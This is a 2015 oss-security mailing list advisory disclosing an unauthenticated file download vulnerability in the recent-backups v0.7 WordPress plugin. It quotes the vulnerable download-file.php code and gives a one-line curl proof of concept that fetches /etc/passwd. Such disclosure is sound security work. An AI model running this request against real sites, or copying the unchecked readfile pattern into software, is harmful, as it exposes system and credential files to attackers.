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Date: Tue, 14 Jul 2015 17:25:57 -0400
From: "Larry W. Cashdollar" <larry0@...com>
To: Open Source Security <oss-security@...ts.openwall.com>
Subject: Remote file download vulnerability in recent-backups v0.7 wordpress
 plugin

Title: Remote file download vulnerability in recent-backups v0.7 wordpress plugin
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-13
Download Site: https://wordpress.org/plugins/recent-backups
Vendor: https://profiles.wordpress.org/andycheeseman/
Vendor Notified: 2015-07-13
Vendor Contact: plugins@...dpress.org
Description: To be used with the BackupWordPress plugin to list the contents of the backup directory in a dashboard widget.
Vulnerability:
The code in  download-file.php doesn't verify the user is logged in or sanitize what files can be downloaded.  This vulnerability can be used
to download sensitive system files:

     2	$file = $_GET['file_link'];
     3	
     4	if (file_exists($file)) {
     5	    header('Content-Description: File Transfer');
     6	    header('Content-Type: application/octet-stream');
     7	    header('Content-Disposition: attachment; filename='.basename($file));
     8	    header('Content-Transfer-Encoding: binary');
     9	    header('Expires: 0');
    10	    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    11	    header('Pragma: public');
    12	    header('Content-Length: ' . filesize($file));
    13	    ob_clean();
    14	    flush();
    15	    readfile($file);

CVEID:
OSVDB:
Exploit Code:
	• $ curl -v "http://www.example.com/wp-content/plugins/recent-backups/download-file.php?file_link=/etc/passwd

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